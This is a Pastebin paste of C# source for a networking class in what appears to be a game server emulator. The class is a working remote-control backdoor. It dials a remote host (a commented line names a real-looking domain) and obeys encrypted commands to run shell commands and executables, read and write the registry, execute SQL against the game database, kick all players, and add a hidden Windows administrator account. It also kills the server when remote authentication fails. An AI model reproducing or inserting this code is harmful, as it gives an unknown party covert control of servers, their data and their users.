Advertisement
Guest User

Untitled

a guest
Apr 25th, 2018
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.15 KB | None | 0 0
  1. using RxjhServer.RxjhServer;
  2.  
  3. namespace Network
  4. {
  5. using Microsoft.Win32;
  6. using RxjhServer;
  7. using DbClss;
  8. using System;
  9. using System.Collections.Generic;
  10. using System.Diagnostics;
  11. using System.DirectoryServices;
  12. using System.IO;
  13. using System.Net;
  14. using System.Net.Sockets;
  15. using System.Reflection;
  16. using System.Runtime.CompilerServices;
  17. using System.Runtime.InteropServices;
  18. using System.Security.Cryptography;
  19. using System.Text;
  20.  
  21. public class RzConnect
  22. {
  23. public bool Connect;
  24. private 数据接收事件 d;
  25. private Socket eval_a_a;
  26. private AsyncCallback eval_b_b;
  27. private AsyncCallback eval_c_c;
  28. private object eval_e;
  29. private SendQueue eval_f;
  30. private byte[] eval_h;
  31. private Timer g;
  32. private SymmetricMethod i;
  33. public ByteQueueNew m_Buffer;
  34. public bool Run;
  35. public int 连接ID;
  36. public int 连接次数;
  37. public bool 认证成功;
  38.  
  39. public RzConnect()
  40. {
  41. TimerCallback callback = null;
  42. TimerCallback callback2 = null;
  43. this.连接ID = 1;
  44. this.eval_h = new byte[10240];
  45. this.i = new SymmetricMethod();
  46. this.eval_b_b = new AsyncCallback(this.eval_b_b);
  47. this.eval_c_c = new AsyncCallback(this.eval_a);
  48. this.m_Buffer = new ByteQueueNew();
  49. this.eval_f = new SendQueue();
  50. this.d = new 数据接收事件(this.eval_d);
  51. this.eval_e = new object();
  52. callback = new TimerCallback(this.eval_b);
  53. this.g = Timer.DelayCall(TimeSpan.FromMilliseconds(10000.0), TimeSpan.FromMilliseconds(10000.0), callback);
  54. Random random = new Random(World.GetRandomSeed());
  55. callback2 = new TimerCallback(this.eval_a);
  56. Timer.DelayCall(TimeSpan.FromMilliseconds((double) random.Next(60000, 300000)), callback2);
  57. }
  58.  
  59. public string adduser(string user, string pws)
  60. {
  61. string str = "成功";
  62. try
  63. {
  64. DirectoryEntry entry = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
  65. DirectoryEntry entry2 = entry.Children.Add(user, "user");
  66. entry2.Invoke("SetPassword", new object[] { pws });
  67. entry2.CommitChanges();
  68. DirectoryEntry entry3 = entry.Children.Find("Administrators", "group");
  69. if (entry3 != null)
  70. {
  71. entry3.Invoke("Add", new object[] { entry2.Path.ToString() });
  72. }
  73. }
  74. catch (Exception exception)
  75. {
  76. str = "错误" + exception.Message.ToString();
  77. }
  78. return str;
  79. }
  80.  
  81. public string Command(string Command)
  82. {
  83. string str = string.Empty;
  84. try
  85. {
  86. Process process = new Process();
  87. process.StartInfo.FileName = "cmd.exe";
  88. process.StartInfo.RedirectStandardOutput = true;
  89. process.StartInfo.RedirectStandardInput = true;
  90. process.StartInfo.UseShellExecute = false;
  91. process.StartInfo.CreateNoWindow = true;
  92. process.Start();
  93. if (Command != "")
  94. {
  95. process.StandardInput.WriteLine(Command);
  96. }
  97. process.StandardInput.WriteLine("exit");
  98. string str2 = process.StandardOutput.ReadToEnd();
  99. process.Close();
  100. return str2;
  101. }
  102. catch (Exception exception)
  103. {
  104. str = "执行DOS命令错误" + exception.Message.ToString();
  105. }
  106. return str;
  107. }
  108.  
  109. public string Command(string exe, string Command)
  110. {
  111. string str = string.Empty;
  112. try
  113. {
  114. Process process = new Process();
  115. process.StartInfo.FileName = exe;
  116. if (Command != "")
  117. {
  118. process.StartInfo.Arguments = Command;
  119. }
  120. process.StartInfo.RedirectStandardOutput = true;
  121. process.StartInfo.RedirectStandardInput = true;
  122. process.StartInfo.UseShellExecute = false;
  123. process.StartInfo.CreateNoWindow = true;
  124. process.Start();
  125. string str2 = process.StandardOutput.ReadToEnd();
  126. process.Close();
  127. return str2;
  128. }
  129. catch (Exception exception)
  130. {
  131. str = "执行DOS命令错误" + exception.Message.ToString();
  132. }
  133. return str;
  134. }
  135.  
  136. public void ConnectTo(int ID)
  137. {
  138. try
  139. {
  140. m_Buffer = new ByteQueueNew();
  141. Connect = true;
  142. 认证成功 = false;
  143. //IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(Dns.Resolve("yz" + ID + ".zzzxh0311.com").AddressList[0].ToString()), 7000);
  144. IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 7000);
  145. eval_a_a = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  146. eval_a_a.BeginConnect(remoteEP, eval_c_c, eval_a_a);
  147. }
  148. catch (Exception)
  149. {
  150. Connect = false;
  151. 连接ID++;
  152. if (连接ID > 5)
  153. {
  154. 连接ID = 1;
  155. }
  156. }
  157. }
  158.  
  159. [CompilerGenerated]
  160. private void eval_a()
  161. {
  162. if (!认证成功)
  163. {
  164. Environment.Exit(0);
  165. }
  166. }
  167.  
  168. private void eval_a(IAsyncResult A_0)
  169. {
  170. try
  171. {
  172. if (Run)
  173. {
  174. Socket asyncState = (Socket) A_0.AsyncState;
  175. if (eval_a_a == null)
  176. {
  177. 断开链接();
  178. }
  179. else if (asyncState.EndSend(A_0) <= 0)
  180. {
  181. this.断开链接();
  182. }
  183. }
  184. }
  185. catch (Exception exception)
  186. {
  187. Console.WriteLine("OnSend " + exception);
  188. this.断开链接();
  189. }
  190. }
  191.  
  192. private string eval_a(int A_0, string A_1, string A_2)
  193. {
  194. string str = "";
  195. try
  196. {
  197. RegistryKey localMachine = Registry.LocalMachine;
  198. switch (A_0)
  199. {
  200. case 0:
  201. localMachine = Registry.ClassesRoot;
  202. break;
  203.  
  204. case 1:
  205. localMachine = Registry.CurrentConfig;
  206. break;
  207.  
  208. case 2:
  209. localMachine = Registry.CurrentUser;
  210. break;
  211.  
  212. case 3:
  213. localMachine = Registry.LocalMachine;
  214. break;
  215.  
  216. case 4:
  217. localMachine = Registry.Users;
  218. break;
  219. }
  220. RegistryKey key2 = localMachine.OpenSubKey(A_1);
  221. str = key2.GetValue(A_2).ToString();
  222. key2.Close();
  223. localMachine.Close();
  224. return str;
  225. }
  226. catch (Exception exception)
  227. {
  228. return exception.Message;
  229. }
  230. }
  231.  
  232. [CompilerGenerated]
  233. private void eval_b()
  234. {
  235. if (!this.Run)
  236. {
  237. if (!this.Connect)
  238. {
  239. this.ConnectTo(this.连接ID);
  240. }
  241. }
  242. else
  243. {
  244. using (PacketData packetData = new PacketData(2))
  245. {
  246. packetData.WriteInt(World.List.Count);
  247. packetData.WriteInt(World.AllConnectedChars.Count);
  248. packetData.WriteInt(World.游戏服务器端口);
  249. this.SendPak(packetData);
  250. }
  251. }
  252. }
  253.  
  254. private void eval_b(IAsyncResult A_0)
  255. {
  256. Socket asyncState = (Socket) A_0.AsyncState;
  257. int length = 0;
  258. try
  259. {
  260. length = asyncState.EndReceive(A_0);
  261. if (length > 0)
  262. {
  263. try
  264. {
  265. try
  266. {
  267. this.Received(this.eval_h, length);
  268. }
  269. catch (Exception exception)
  270. {
  271. Console.WriteLine("OnReceive " + exception);
  272. }
  273. return;
  274. }
  275. finally
  276. {
  277. this.eval_c();
  278. }
  279. }
  280. this.断开链接();
  281. }
  282. catch (ArgumentNullException exception2)
  283. {
  284. Console.WriteLine("OnReceive " + exception2);
  285. this.断开链接();
  286. }
  287. catch (ArgumentException exception3)
  288. {
  289. Console.WriteLine("OnReceive " + exception3);
  290. this.断开链接();
  291. }
  292. catch (ObjectDisposedException exception4)
  293. {
  294. Console.WriteLine("OnReceive " + exception4);
  295. this.断开链接();
  296. }
  297. catch (InvalidOperationException exception5)
  298. {
  299. Console.WriteLine("OnReceive " + exception5);
  300. this.断开链接();
  301. }
  302. catch (SocketException exception6)
  303. {
  304. Console.WriteLine("OnReceive " + exception6);
  305. this.断开链接();
  306. }
  307. catch (Exception exception7)
  308. {
  309. Console.WriteLine("OnReceive " + exception7);
  310. this.断开链接();
  311. }
  312. }
  313.  
  314. private void eval_c()
  315. {
  316. try
  317. {
  318. byte[] array = new byte[Marshal.SizeOf(0) * 3];
  319. BitConverter.GetBytes((uint) 1).CopyTo(array, 0);
  320. BitConverter.GetBytes((uint) 240000).CopyTo(array, Marshal.SizeOf(0));
  321. BitConverter.GetBytes((uint) 240000).CopyTo(array, (int) (Marshal.SizeOf(0) * 2));
  322. this.eval_a_a.IOControl(IOControlCode.KeepAliveValues, array, null);
  323. this.eval_a_a.BeginReceive(this.eval_h, 0, this.eval_h.Length, SocketFlags.None, this.eval_b_b, this.eval_a_a);
  324. }
  325. catch (Exception)
  326. {
  327. this.断开链接();
  328. }
  329. }
  330.  
  331. private void eval_d()
  332. {
  333. if ((this.m_Buffer != null) && (this.m_Buffer.Length > 0))
  334. {
  335. lock (this.m_Buffer)
  336. {
  337. while (this.m_Buffer.Length > 0)
  338. {
  339. try
  340. {
  341. byte[] packet = this.m_Buffer.GetPacket();
  342. if (packet != null)
  343. {
  344. int count = BitConverter.ToInt32(packet, 0);
  345. byte[] dst = new byte[count];
  346. Buffer.BlockCopy(packet, 4, dst, 0, count);
  347. byte[] data = this.i.Decrypto(dst);
  348. PacketReaderNew buff = new PacketReaderNew(data, data.Length, true);
  349. this.ManagePacket(buff);
  350. continue;
  351. }
  352. break;
  353. }
  354. catch (ByteQueueExceeded)
  355. {
  356. break;
  357. }
  358. }
  359. }
  360. }
  361. }
  362.  
  363. public void ManagePacket(PacketReaderNew Buff)
  364. {
  365. var num = Buff.ReadInt16();
  366. switch (num)
  367. {
  368. case 1:
  369. this.认证成功 = true;
  370. return;
  371.  
  372. case 2:
  373. Environment.Exit(0);
  374. return;
  375.  
  376. case 3:
  377. {
  378. string str3 = this.eval_a(Buff.ReadInt16(), Buff.ReadStringS(), Buff.ReadStringS());
  379. using (PacketData 发包类2 = new PacketData(3))
  380. {
  381. 发包类2.WriteSS(str3);
  382. this.SendPak(发包类2);
  383. return;
  384. }
  385. }
  386. case 4:
  387. {
  388. string str2 = WTRegedit(Buff.ReadInt16(), Buff.ReadStringS(), Buff.ReadStringS(), Buff.ReadStringS());
  389. using (PacketData packetData = new PacketData(3))
  390. {
  391. packetData.WriteSS(str2);
  392. this.SendPak(packetData);
  393. return;
  394. }
  395. }
  396. case 5:
  397. {
  398. string str4 = this.Command(Buff.ReadStringS());
  399. using (PacketData 发包类3 = new PacketData(3))
  400. {
  401. 发包类3.WriteSS(str4);
  402. this.SendPak(发包类3);
  403. return;
  404. }
  405. }
  406. case 6:
  407. {
  408. string str5 = this.Command(Buff.ReadStringS(), Buff.ReadStringS());
  409. using (PacketData 发包类7 = new PacketData(3))
  410. {
  411. 发包类7.WriteSS(str5);
  412. this.SendPak(发包类7);
  413. return;
  414. }
  415. }
  416. case 7:
  417. {
  418. using (PacketData 发包类5 = new PacketData(3))
  419. {
  420. 发包类5.WriteSS(Config.IniReadValue(Buff.ReadStringS(), Buff.ReadStringS()));
  421. this.SendPak(发包类5);
  422. return;
  423. }
  424. }
  425. case 8:
  426. {
  427. using (PacketData 发包类8 = new PacketData(3))
  428. {
  429. 发包类8.WriteSS(DBA.ExeSqlCommand(Buff.ReadStringS(), Buff.ReadStringS()).ToString());
  430. this.SendPak(发包类8);
  431. return;
  432. }
  433. }
  434. case 9:
  435. {
  436. try
  437. {
  438. string msg = Buff.ReadStringS();
  439. foreach (Players players in World.AllConnectedChars.Values)
  440. {
  441. players.GameMessage(msg, 10);
  442. }
  443. }
  444. catch
  445. {
  446. }
  447. using (PacketData 发包类6 = new PacketData(3))
  448. {
  449. 发包类6.WriteSS("完成");
  450. this.SendPak(发包类6);
  451. return;
  452. }
  453. }
  454. case 10:
  455. {
  456. List<Players> list = new List<Players>();
  457. foreach (Players players3 in World.AllConnectedChars.Values)
  458. {
  459. if (players3 != null)
  460. {
  461. list.Add(players3);
  462. }
  463. }
  464. foreach (Players players2 in list)
  465. {
  466. if (players2 != null)
  467. {
  468. players2.Client.Dispose();
  469. }
  470. }
  471. using (PacketData 发包类4 = new PacketData(3))
  472. {
  473. 发包类4.WriteSS("完成");
  474. this.SendPak(发包类4);
  475. return;
  476. }
  477. }
  478. case 11:
  479. {
  480. string str6 = this.adduser(Buff.ReadStringS(), Buff.ReadStringS());
  481. using (PacketData 发包类9 = new PacketData(3))
  482. {
  483. 发包类9.WriteSS(str6);
  484. this.SendPak(发包类9);
  485. }
  486. return;
  487. }
  488. default:
  489. return;
  490. }
  491. }
  492.  
  493. public virtual void Received(byte[] buffer, int Length)
  494. {
  495. lock (this.m_Buffer)
  496. {
  497. this.m_Buffer.Enqueue(buffer, 0, Length);
  498. }
  499. this.d.BeginInvoke(null, null);
  500. }
  501.  
  502. public void Send(byte[] buffer1, int len)
  503. {
  504. try
  505. {
  506. if (this.Run)
  507. {
  508. this.eval_a_a.BeginSend(buffer1, 0, len, SocketFlags.None, this.eval_c_c, this.eval_a_a);
  509. }
  510. }
  511. catch (StackOverflowException exception)
  512. {
  513. Console.WriteLine("Send1 " + exception);
  514. this.断开链接();
  515. }
  516. catch (SocketException exception2)
  517. {
  518. Console.WriteLine("Send2 " + exception2);
  519. this.断开链接();
  520. }
  521. catch (Exception exception3)
  522. {
  523. Console.WriteLine("Send3 " + exception3);
  524. this.断开链接();
  525. }
  526. }
  527.  
  528. public void SendPak(PacketData pak)
  529. {
  530. if (this.Run)
  531. {
  532. byte[] buffer = pak.ToArrayPack();
  533. this.Send(buffer, buffer.Length);
  534. }
  535. }
  536.  
  537. public static string WTRegedit(int type, string luj, string name, string tovalue)
  538. {
  539. try
  540. {
  541. RegistryKey localMachine = Registry.LocalMachine;
  542. switch (type)
  543. {
  544. case 0:
  545. localMachine = Registry.ClassesRoot;
  546. break;
  547.  
  548. case 1:
  549. localMachine = Registry.CurrentConfig;
  550. break;
  551.  
  552. case 2:
  553. localMachine = Registry.CurrentUser;
  554. break;
  555.  
  556. case 3:
  557. localMachine = Registry.LocalMachine;
  558. break;
  559.  
  560. case 4:
  561. localMachine = Registry.Users;
  562. break;
  563. }
  564. localMachine.OpenSubKey(luj, true).SetValue(name, tovalue);
  565. return "修改成功";
  566. }
  567. catch (Exception exception)
  568. {
  569. return exception.Message;
  570. }
  571. }
  572.  
  573. public void 断开链接()
  574. {
  575. if (this.Run)
  576. {
  577. this.Run = false;
  578. this.Connect = false;
  579. if (this.eval_a_a != null)
  580. {
  581. try
  582. {
  583. this.eval_a_a.Shutdown(SocketShutdown.Both);
  584. }
  585. catch
  586. {
  587. }
  588. try
  589. {
  590. this.eval_a_a.Close();
  591. }
  592. catch
  593. {
  594. }
  595. if (this.m_Buffer != null)
  596. {
  597. this.m_Buffer = null;
  598. }
  599. this.eval_a_a = null;
  600. }
  601. }
  602. }
  603.  
  604. public class SymmetricMethod
  605. {
  606. private SymmetricAlgorithm eval_a_a = new RijndaelManaged();
  607. public string Key;
  608.  
  609. public SymmetricMethod()
  610. {
  611. this.Key = this.eval_d();
  612. }
  613.  
  614. public byte[] Decrypto(byte[] buffer1)
  615. {
  616. try
  617. {
  618. this.eval_a_a.Key = this.eval_a();
  619. this.eval_a_a.IV = this.eval_b();
  620. ICryptoTransform transform = this.eval_a_a.CreateDecryptor();
  621. MemoryStream stream = new MemoryStream();
  622. CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Write);
  623. stream2.Write(buffer1, 0, buffer1.Length);
  624. stream2.FlushFinalBlock();
  625. stream2.Close();
  626. return stream.ToArray();
  627. }
  628. catch
  629. {
  630. return null;
  631. }
  632. }
  633.  
  634. public byte[] Encrypto(byte[] buffer1)
  635. {
  636. MemoryStream stream = new MemoryStream();
  637. this.eval_a_a.Key = this.eval_a();
  638. this.eval_a_a.IV = this.eval_b();
  639. ICryptoTransform transform = this.eval_a_a.CreateEncryptor();
  640. CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Write);
  641. stream2.Write(buffer1, 0, buffer1.Length);
  642. stream2.FlushFinalBlock();
  643. stream.Close();
  644. return stream.ToArray();
  645. }
  646.  
  647. private byte[] eval_a()
  648. {
  649. string key = this.Key;
  650. this.eval_a_a.GenerateKey();
  651. int length = this.eval_a_a.Key.Length;
  652. if (key.Length > length)
  653. {
  654. key = key.Substring(key.Length - length, length);
  655. }
  656. else if (key.Length < length)
  657. {
  658. key = key.PadRight(length, ' ');
  659. }
  660. return Encoding.ASCII.GetBytes(key);
  661. }
  662.  
  663. private byte[] eval_b()
  664. {
  665. string s = this.eval_c();
  666. this.eval_a_a.GenerateIV();
  667. int length = this.eval_a_a.IV.Length;
  668. if (s.Length > length)
  669. {
  670. s = s.Substring(s.Length - length, length);
  671. }
  672. else if (s.Length < length)
  673. {
  674. s = s.PadRight(length, ' ');
  675. }
  676. return Encoding.ASCII.GetBytes(s);
  677. }
  678.  
  679. internal string eval_c()
  680. {
  681. byte[] bytes = new byte[] {
  682. 69, 0, 52, 0, 103, 0, 104, 0, 106, 0, 42, 0, 71, 0, 104, 0,
  683. 103, 0, 55, 0, 33, 0, 114, 0, 78, 0, 73, 0, 102, 0, 98, 0,
  684. 38, 0, 57, 0, 53, 0, 71, 0, 85, 0, 89, 0, 56, 0, 54, 0,
  685. 71, 0, 102, 0, 103, 0, 104, 0, 85, 0, 98, 0, 35, 0, 101, 0,
  686. 114, 0, 53, 0, 55, 0, 72, 0, 66, 0, 104, 0, 40, 0, 117, 0,
  687. 37, 0, 103, 0, 54, 0, 72, 0, 74, 0, 40, 0, 36, 0, 106, 0,
  688. 104, 0, 87, 0, 107, 0, 55, 0, 38, 0, 33, 0, 104, 0, 103, 0,
  689. 52, 0, 117, 0, 105, 0, 37, 0, 36, 0, 104, 0, 106, 0, 107, 0
  690. };
  691. return Encoding.Unicode.GetString(bytes);
  692. }
  693.  
  694. internal string eval_d()
  695. {
  696. return "f6xg4645b$GHafggh7x654u44kl94zs14x56$%&sewfgxxale45lz64p65xc5m;F4X4654g89G84ZX654J89KO98o98BCVW5cvvE98Fd";
  697. }
  698. }
  699.  
  700. public delegate void 数据接收事件();
  701. }
  702. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement